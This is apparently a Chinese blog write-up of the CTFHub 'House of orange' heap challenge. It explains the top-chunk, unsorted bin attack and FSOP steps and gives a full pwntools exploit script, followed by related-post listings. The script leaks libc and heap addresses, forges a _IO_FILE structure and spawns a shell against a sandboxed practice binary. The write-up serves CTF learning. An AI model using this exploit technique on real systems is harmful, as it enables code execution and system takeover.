CTFHub[技能树]-----House of orange

house of orange学习报告 house of orangehouse of orange 不是什么梗,而是一道题目的名字,记录下hitcon 2016ctf house of orange 阅读详情

House of orange也是我第一次学,边学边做题,来来回回折腾了8小时,代码检查了一遍又一遍,没问题但总是打不成功,最后百度查了一下这个是概率成功,我哭了。白白浪费了这么久时间。

参考文章

pwn题堆利用的一些姿势 – IO_FILE

关于house of orange(unsorted bin attack &&FSOP)的学习总结

思路:

House of orange改top chunk的size位,之后申请一个大于top chunk的大小的chunk,会把old top chunk释放掉,之后就可以泄露地址。改写free chunk的内容。然后利用unsorted bin attack吧main_arena+88的地址写进 _IO_list_all

这里是篡改unsorted bin的之后内容,申请一个small bin大小的chunk拿到shell

在这里插入图片描述

EXP:

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",20723)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(size,data):
	ru(b"Input your choice >> \n")
	sl(b"1")
	ru(b"How long is your note?")
	sl(str(size))
	ru(b"Please write your note now:")
	s(data)

def show():
	ru(b"Input your choice >> \n")
	sl(b"2")


def edit(idx,size,data):
	ru(b"Input your choice >> \n")
	sl(b"3")
	ru(b"Which note do you want to change?")
	sl(str(idx))
	ru(b"Please input the size of your note:")
	sl(str(size))
	ru(b"Please write your new note:")
	s(data)



add(0x20,b"aaaa")
edit(0,-1,p64(0)*5+p64(0xfd1))
add(0x1000,b"a")
add(0x400,b"b"*8)


show()
ru(b"b"*8)
main_arena = uu64(r(6))
libc_base = main_arena-1640-0x10-libc.sym['__malloc_hook']
io_list_all = libc_base+libc.sym["_IO_list_all"]
system = libc_base+libc.sym["system"]
print("libc_base-------------->: ",hex(libc_base))
print("io_list_all-------------->: ",hex(io_list_all))

edit(2,-1,b"c"*0x10)
show()
ru(b"c"*0x10)
heap_addr = uu64(r(6))-0x30
print("heap_addr-------------------->: ",hex(heap_addr))

payload = b"a"*0x400
fake = b"/bin/sh\x00"+p64(0x61)
fake += p64(0)+p64(io_list_all-0x10)
fake += p64(0)+p64(1)
fake = fake.ljust(0xd8,b"\x00")
fake += p64(heap_addr+0x520)
fake += p64(0)*3+p64(system)
payload += fake

edit(2,-1,payload)
ru(b"Input your choice >> \n")
sl(b"1")
ru(b"How long is your note?")
sl(str(0x10))

sl(b"ls")
#gdb.attach(io)



itr()
houseoforange_hitcon_2016(House of orange, unsorted bin attack,FSOP) 目录题目分析漏洞利用Exp 题目分析 只有添加,显示,编辑三个功能,没有删除 添加函数,最多只能添加四次,每次添加会依次执行malloc(0x10),malloc(name_size),calloc(8) House结构体如下 在编辑函数中,可以进行堆溢出,因为House没有把name的size保存下来 编辑次数最多为3 漏洞利用 Exp ... 阅读详情

相关推荐

Arduino Nano + MCP3422A0 ADC 毫欧表:3档分辨率(0.1mΩ-1.3kΩ)开尔文连接实测

本文详细介绍了如何使用Arduino Nano与MCP3422A0 ADC构建高精度毫欧表,采用四线制开尔文连接和三档量程设计,实现0.1mΩ-1.3kΩ的精确测量。通过精密恒流源和18位ADC技术,结合智能量程切换和数字滤波算法,显著提升测量精度和稳定性,适用于电子维修、PCB测试等场景。

weixin_28292761的博客 323

【PWN】House of Orange&House of Pig(待完整例题)

House of Orange House of Orange的利用背景在缺少free条件。为了达到free的效果,通过修改top chunk的size位,当malloc的空间大于top chunk时触发brk,使top chunk被放置在unsorted bin。 利用条件: 1.堆有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一.

u014377094的博客 918

Simulink实战:火电机组一次调频与AGC协同控制建模与仿真解析

本文详细解析了如何使用Simulink进行火电机组一次调频与AGC协调控制的建模与仿真。通过系统架构设计、参数设置和模块实现,阐述了如何实现两者的协同控制,确保电网频率稳定。文章提供了实用的建模技巧、参数整定经验和性能评估方法,为电力系统仿真工程师提供了有价值的实践指导。

c7d8e9的博客 307

PWN技巧之_IO_FILE结构体利用house of orange

PWN技巧之_IO_FILE结构体利用house of orange

aptx4869_li的博客 1456

Unity调用手机摄像头避坑指南:从权限检测到自动对焦问题解决

本文深入解析了Unity移动端集成手机摄像头时遇到的权限、对焦与性能等核心难题。针对权限管理,提供了健壮的原生接口调用方案;针对自动对焦模糊问题,详细对比了原生插件与第三方插件两种解决路径;并分享了分辨率选择、数据处理及功耗控制等关键性能优化技巧,帮助开发者构建稳定高效的摄像头功能。

weixin_29007243的博客 471

ABAQUS二次开发中创建SET

在ABAQUS中创建加载、边界条件时,需要使用set,创建set时需要使用对象集合对象中的Set函数,这个函数需要提供加入对象集合的列表,但这个对象列表好像并不能自行创建,只能通过ABAQUS各类对象集合中的findAt、getSequenceFromMask、getByBoundingSphere、getByBoundingCylinder或getByBoundingSphere函数得到,但这几个函数在直接使用PYTHON编程时都不太好用。这个函数返回一个字典,如下所示。

hohoyu的专栏 2482

2016-HitCon-Pwn-house_of_orange学习(附赠FSOP基础知识)

[md]这里开始著名的house of orange利用方式讲解 house of orange 介绍 House of Orange 与其他的 House of XX 利用方法不同,这种利用方法来自于 Hitcon CTF 2016 中的一道同名题目。由于这种利用方法在此前的 CTF 题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为 House of Orange。 概述 House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free

a2590035252的博客 959

告别Qweb!用ReportBro在Odoo 13-19版本中5步搞定动态报表

本文介绍了如何在Odoo 13-19版本中使用ReportBro替代Qweb快速实现动态报表设计。通过5步集成指南,包括环境准备、前端集成、后端服务搭建等,展示了ReportBro在可视化设计、即时预览和多格式输出(PDF/XLSX)方面的优势,显著提升开发效率和报表灵活性。

mac99的博客 800

攻防世界PWN之Poisonous_Milk(认清vector的结构+house of orange利用)

Poisonous_Milk 首先,我们检查一下程序的保护机制 然后,我们用IDA分析一下,发现是c++写的程序,看起来复杂了很多,这些一大堆,作用只是打印菜单,那么我们把这个函数重命名为menu。 接下来,我们进入下一个函数查看,应该就是主功能区了。 为了便于分析,我们给函数重命名了 创建内容的函数里,最多输入86个字符 实际上只能输入85个字符,并且最后一个会被...

seaaseesa的博客 1810

ABAP Channels 实战:在 ABAP 7.40 中用 WebSocket 打造实时双向通信

本文详细介绍了SAP ABAP 7.40引入的ABAP Channels通信框架,包含AMC(ABAP Messaging Channels)和APC(ABAP Push Channels)两部分。AMC作为应用服务器内部的消息总线,支持发布/订阅模式,可实现跨会话实时通信;APC基于WebSocket协议,用于浏览器等客户端与ABAP服务器的双向实时交互。文章通过一个乒乓球游戏案例展示了ABAP Channels的实时协作能力,并详细解析了AMC的配置方法、消息发送与接收的代码实现,帮助开发者理解如何利用

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 220

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

【PWN · House_Of_Orange | fastbin-attack】[CISCN 2024 初赛] orange_cat_diary

审计一下题目:经典菜单,edit,show,add,delete俱全嗯,啧啧,delete还有个UAF太明显,爽爽unsortedbin-leak-libc!——what!show只能一次,delete只能一次!!!救命。。。我该怎么做。比较惊险,磨了半天,学习house of orange然后利用,居然真的过了。那一刻的高兴至今难忘。

Mr_Fmnwon的博客 1594

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

house of orange

1

m0_62326489的博客 243

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

House Of Orange

House Of Orange 本质:Unsorted bin attack 和 FSOP造成的组合漏洞利用方式。 House of orange源于一道题目,有时候只用到free top chunk的题目也会被归入该类中。 glibc版本<=2.23情况 特点:不需要free操作 核心原理: 1,获取unsorted bin ​ 在_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问

qq_45595732的博客 1276

堆溢出-House of orange 学习笔记(看雪论坛)

https://www.jianshu.com/p/4b0a73f321f9 前几天把House of orange重新学习了一下,比照着glibc malloc的源码好好分析了一下,希望做到真正做到知其然亦知其所以然,其中所做的笔记如下,可能描述上有点乱,大家将就着看一下吧。同时,我也发在了我个人博客上面 (http://blog.leanote.com/simp1e), 如果有错误的地方,...

happylzs2008的专栏 1055

攻防世界 进阶 houseoforange

就是house of orange 跟题目名字一摸一样。 保护 绿油油 build 备注一写顿时简单了起来。 结构分析一下。 那orange的颜色要么就是56746,要么就是0到6. see 然后呢这里56746跟30到36输出是不一样的。 upgrade 房子只能申请三个,改也只能改三次。 对修改的大小没有限制,所以就会有堆溢出。 那问题来了,怎么利用? 他没有free函数,这就是标准的house of orange 我们总体的思路是这样的。 创建第一个house,修改top_chunk的siz

yongbaoii的博客 913

houseoforange_hitcon_2016

houseoforange_hitcon_2016 查看保护 这一题目就是使用house of orange + FSOP来解决 在edit的时候会让用户输入size,这里有一个堆溢出(笔者认为这一题还有一个考点就是逆清楚这个程序,自己增加结构体 这是笔者加的两个结构体,看成这样就行 struct Data{ Info *info; char *name } struct Info{ int price; int color; } 加了这个之后改一下堆块的类型就可以更快的清楚这个程序的结构。 回归

z1r0的博客 670

攻防世界 pwn 进阶 bufoverflow_a

保护一片绿。 菜单堆。 alloc delete fill show

yongbaoii的博客 595

Hitcon CTF 2016 - house of orange 做题笔记

前言 深入学习pwn的高级堆利用方法, house of orange是绕不开的难关 之前已经接触了house系列题目, 不过由于心理压迫感, 所以迟迟没有开始调试house的漏洞 现在避无可避了, 于是准备集中精力突破掉house of orange 想要打过BOSS得先升级, 但是为了升级必须先打过BOSS (雾~ 分析过程 CTFhub和BUUCTF的题目有差别, 就按BUU来打吧 漏洞利用 总结 参考 ...

fa1c4的blog 1740

BUUCTF-pwn(17)

happytree(SUSCTF) 分析主要函数! 主要三步操作,Insert、Delete、Show函数! 可以看到其为二叉树结构体! 因为全保护开启,故具体思路为泄露地址(heap、libc),然后利用libc2.27版本tcache的double free来修改__free_hook函数为system函数, 此时首先设置基准为0x50,此时分为两部分,左子树用来泄露heap地址并造成double free的效果,右子树来泄露libc地址并申请造成攻击效果! 首先发现可以从0x?0申请到0x?8

菜鸡的博客 897

BUUCTF 2021-10-4 Pwn

文章目录保持手感echo分析EXPPwnme1分析EXPwdb_2018_1st_babyheap分析EXPFSOPhouseoforange_hitcon_2016分析前置知识House_of_orangeFSOPEXPzctf_2016_note3分析EXPgyctf_2020_document分析EXP动态调试复现护网杯_gettingstart分析EXPpicoctf_2018_buffer overflow 0分析EXPXCTF-Mary_Morton分析EXPEXPgift分析EXPfishin

m0_56897090的博客 648

the house of orange解析

先以这个最简单的例子举例: https://github.com/shellphish/how2heap/blob/master/house_of_orange.c 编译生成ELF文件(64位) p1 = malloc(0x400-16); 每次创建堆都是从top chunk上切割堆块,由于top chunk默认是0x21000,因为我们已经申请了0x400大小的堆,所以此时to

小强的博客 2384

PWN入门笔记 FastBinAttack+HouseOfSpirit+UnsortedBinLeak

好久没发文章了,从3月到5月所有学习记录全都存档在gitee上,包括本篇所有相关题目的exp,链接在此~ 接下来想讲一讲自己对FastBinAttack和HouseOfSpirit以及UnsortedBinLeak的认识,因为我发现这俩攻击方法和这一种泄露方法最近用的贼多(也很好用),与其说是Pwn Heap,不如说是Pwn Linked-List(手动狗头) FastBinAttack P...

cossack9989的博客 1687

House of orange

House of orange因一道同名的题而来,它是在程序没有调用free函数的情况下利用其它漏洞结合IO_FILE来达到利用。 首先利用漏洞修改top chunk的size,然后申请一个比size大的堆,满足一定条件,这个top chunk就会被释放到unsorted bin里。 利用unsorted bin attack,将__IO_list_all指针改写为unsorted bin的头...

seaaseesa的博客 1921
上一篇: [CTFHub-技能树]-----House of roman
下一篇: [CTFHub-技能树]--House of Lore
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值